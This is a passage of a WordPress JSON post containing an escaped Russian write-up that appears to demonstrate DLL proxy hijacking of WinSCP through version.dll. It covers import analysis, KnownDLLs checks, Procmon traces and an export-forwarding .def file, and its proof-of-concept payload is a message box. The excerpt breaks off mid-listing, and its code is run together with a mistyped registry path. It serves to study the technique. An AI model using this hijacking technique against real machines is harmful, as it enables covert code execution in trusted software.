\u0437\u0430 \u0442\u0440\u0435\u043c\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u042d\u0442\u043e \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435: \u0435\u0441\u043b\u0438 \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0449\u0435\u0442 \u044d\u0442\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u0442\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0443\u0434\u043e\u0431\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e, \u0432\u0435\u0434\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u043c\u0430\u043b\u043e.2.2. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Known DLLs\u041d\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u043f\u043e\u0440\u0442\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e. \u0417\u0434\u0435\u0441\u044c \u0432\u0430\u0436\u0435\u043d \u0438 \u0441\u043f\u0438\u0441\u043e\u043a Known DLLs: \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u0437 \u043d\u0435\u0433\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0437\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0432 \u043f\u0430\u043f\u043a\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0437\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u0442. \u0422\u0430\u043a\u043e\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u0440\u0430\u0437\u0443 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 \u044f \u0441\u0432\u0435\u0440\u0438\u043b \u0432\u0441\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u044b \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 KnownDLLs \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435.HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs\u041b\u0438\u0441\u0442\u0438\u043d\u0433 1. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe \u043f\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044e Known DLLsimport winreg, liefkey = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r&#8217;SYSTEM\\CurrentControlSet\\Control\\Session\\Manager\\KnownDLLs&#8217;)known = {winreg.EnumValue(key, i)[1].split(&#8216;,&#8217;)[0].lower()         for i in range(winreg.QueryInfoKey(key)[1])}binary = lief.parse(r&#8217;WinSCP.exe&#8217;)for imp in binary.imports:    dll = imp.name.lower()    if dll not in known and not dll.startswith(&#8216;api-ms-&#8216;):        print(dll)\u041f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0440\u0435\u0435\u0441\u0442\u0440\u0443 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b:\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 WinSCP.exe \u043f\u043e \u043f\u0435\u0440\u0435\u0447\u043d\u044e Known DLLs\u0423\u0447\u0442\u0438\u0442\u0435: \u0441\u043f\u0438\u0441\u043e\u043a KnownDLLs \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438 \u0441\u0431\u043e\u0440\u043a\u0438 Windows. \u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b\u0432\u043e\u0434, \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u043b\u0438 \u044d\u0442\u043e\u0442 \u0432\u0435\u043a\u0442\u043e\u0440, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0440\u0435\u0435\u0441\u0442\u0440 \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435.\u041f\u043e\u043d\u044f\u0442\u044c, \u0435\u0441\u0442\u044c \u043b\u0438 .dll \u0432 KnownDLLs, \u043c\u043e\u0436\u043d\u043e \u0438 \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443:reg query &#171;HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs&#187; \/v VERSIONreg query KnownDLLs \/v VERSION\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437 32 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0442\u0441\u0435\u0447\u044c 13. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 19 &#8212; \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, crypt32.dll, winhttp.dll, comctl32.dll \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 &#8212; \u0443\u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u0432 \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435: \u043f\u043e \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u043d\u0435 \u0432\u0438\u0434\u043d\u043e, \u0432 \u043a\u0430\u043a\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043a\u0430\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443.2.3. \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437: Procmon\u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430, \u0432 \u043a\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u043a\u0430\u0436\u0434\u0443\u044e DLL \u0438 \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442, \u0435\u0441\u043b\u0438 \u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0451 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0444\u0430\u0439\u043b. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0442\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043f\u0443\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043e\u0442 \u0442\u0435\u0445 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0431\u0443\u043c\u0430\u0433\u0435.\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0434\u0432\u0430 \u044d\u0442\u0430\u043f\u0430 \u043e\u0442\u0431\u043e\u0440\u0430: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438 \u043d\u0430 \u043d\u0435\u0443\u0434\u0430\u0447\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u043f\u0430\u043f\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f (Result = NAME NOT FOUND), \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043b\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u043f\u0443\u0442\u0438, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u043b\u0438\u0441\u044c \u0444\u0430\u0439\u043b\u044b (Operation = Load Image).\u0424\u0438\u043b\u044c\u0442\u0440\u0423\u0441\u043b\u043e\u0432\u0438\u0435\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435Process NameisWinSCP.exe\u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430Pathends with.dll\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e DLL-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438ResultisNAME NOT FOUND\u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0430\u043b\u044b \u043f\u043e\u0438\u0441\u043a\u0430Procmon: NAME NOT FOUND \u0434\u043b\u044f version.dll \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0412 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0435 \u0432\u0438\u0434\u043d\u043e \u0441\u043e\u0431\u044b\u0442\u0438\u0435 Result = NAME NOT FOUND \u0434\u043b\u044f \u043f\u0443\u0442\u0438 C:\\Program Files (x86)\\WinSCP\\version.dll. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043f\u0435\u0440\u0432\u0430 \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u043d\u0430\u0439\u0442\u0438 DLL \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0435\u0451 \u0442\u0430\u043c \u0438 \u043b\u0438\u0448\u044c \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0441\u044f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u043f\u0430\u043f\u043a\u0430\u043c.\u042d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 Load Image: \u0432 \u0438\u0442\u043e\u0433\u0435 version.dll \u0431\u044b\u043b\u0430 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0437 C:\\Windows\\SysWOW64\\version.dll. \u0414\u043b\u044f 32-\u0431\u0438\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043d\u0430 64-\u0431\u0438\u0442\u043d\u043e\u0439 Windows \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 WOW64, \u043a\u043e\u0433\u0434\u0430 \u043f\u0443\u0442\u044c \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439.\u0424\u0438\u043b\u044c\u0442\u0440\u0423\u0441\u043b\u043e\u0432\u0438\u0435\u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435Process NameisWinSCP.exeOperationisLoad ImageProcmon: Load Image version.dll \u0438\u0437 SysWOW643. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430\u041f\u043e \u0441\u043e\u0432\u043e\u043a\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432 version.dll \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u043c:WinSCP.exe \u0438\u043c\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 \u0435\u0451 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0430 \u043f\u043e\u0434\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435;\u043e\u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 Known DLLs &#8212; \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u044b\u0439 \u043f\u043b\u044e\u0441, \u0445\u043e\u0442\u044f \u0438 \u043d\u0435 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442\u043e\u0440;\u0443 \u043d\u0435\u0451 \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u043f\u043e\u0440\u0442\u0430: \u0432\u0441\u0435\u0433\u043e 3 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW). \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u043a\u0441\u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u044b\u043c \u0438 \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\u0415\u0441\u043b\u0438 DLL \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 IAT, \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0435\u0439 \u043f\u043e\u0434\u043d\u0438\u043c\u0435\u0442 \u043d\u0430\u0448\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0435\u0449\u0451 \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041f\u0440\u0438 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e.4. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f: DLL Proxy (Proof of Concept)4.1. \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0440\u043e\u043a\u0441\u0438\u041f\u0440\u043e\u043a\u0441\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0448\u0442\u0430\u0442\u043d\u043e\u0439 version.dll \u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u0442 17 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0421\u0430\u043c \u0444\u0430\u0439\u043b \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043f\u0430\u043f\u043a\u0435 WinSCP, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u0438\u043c\u0435\u043d\u043d\u043e \u0435\u0433\u043e \u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.\u0418\u0437 \u044d\u0442\u0438\u0445 17 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 14 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438 \u0432 C:\\Windows\\SysWOW64\\version.dll (linker-level forwarding), \u0430 \u0435\u0449\u0451 3 &#8212; GetFileVersionInfoSizeW, GetFileVersionInfoW \u0438 VerQueryValueW &#8212; \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043d\u0430 Rust. WinSCP \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 payload \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0447\u0442\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u0440\u0442\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.WinSCP.exe -&gt; version.dll (appdir) -&gt; \u043f\u0440\u043e\u043a\u0441\u0438    +&#8212; 14 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432: linker forwarding &#8212;&gt; C:\\Windows\\SysWOW64\\version.dll    +&#8212; 3 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430: Rust-\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 &#8212;&gt; \u0442\u0440\u0438\u0433\u0433\u0435\u0440 &#8212;&gt; MessageBoxW4.2. \u041f\u0440\u043e\u0431\u0440\u043e\u0441 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 .defversion.dll \u0438\u0437 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 17 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0438 \u043f\u0440\u043e\u043a\u0441\u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0438\u0445 \u0432\u0441\u0435. \u0423 14 \u0438\u0437 \u043d\u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f forwarding \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043b\u0438\u043d\u043a\u043e\u0432\u043a\u0438: \u0441\u0442\u0440\u043e\u043a\u0430 GetFileVersionInfoA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoA \u0432 .def-\u0444\u0430\u0439\u043b\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043b\u0438\u043d\u043a\u0435\u0440 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 PE \u0440\u0435\u0434\u0438\u0440\u0435\u043a\u0442 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u044d\u0442\u0438\u043c \u0443\u0436\u0435 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a &#8212; \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u043a\u043e\u0434\u0430. \u0415\u0449\u0451 \u0443 \u0442\u0440\u0451\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0446\u0435\u043b\u0438 \u0434\u043b\u044f forward \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043d\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u044f\u043c\u043e \u0432 \u043f\u0440\u043e\u043a\u0441\u0438 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 src\/lib.rs.\u041b\u0438\u0441\u0442\u0438\u043d\u0433 2. proxy.def &#8212; \u043f\u0440\u043e\u0431\u0440\u043e\u0441 14 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, 3 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 (\u0431\u0435\u0437 forward-\u0446\u0435\u043b\u0438)LIBRARY versionEXPORTS    GetFileVersionInfoA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoA @1    GetFileVersionInfoByHandle=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoByHandle @2    GetFileVersionInfoExA=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoExA @3    GetFileVersionInfoExW=C:\\Windows\\SysWOW64\\version.GetFileVersionInfoExW @4&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-489904","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/489904","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=489904"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/489904\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=489904"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=489904"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=489904"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}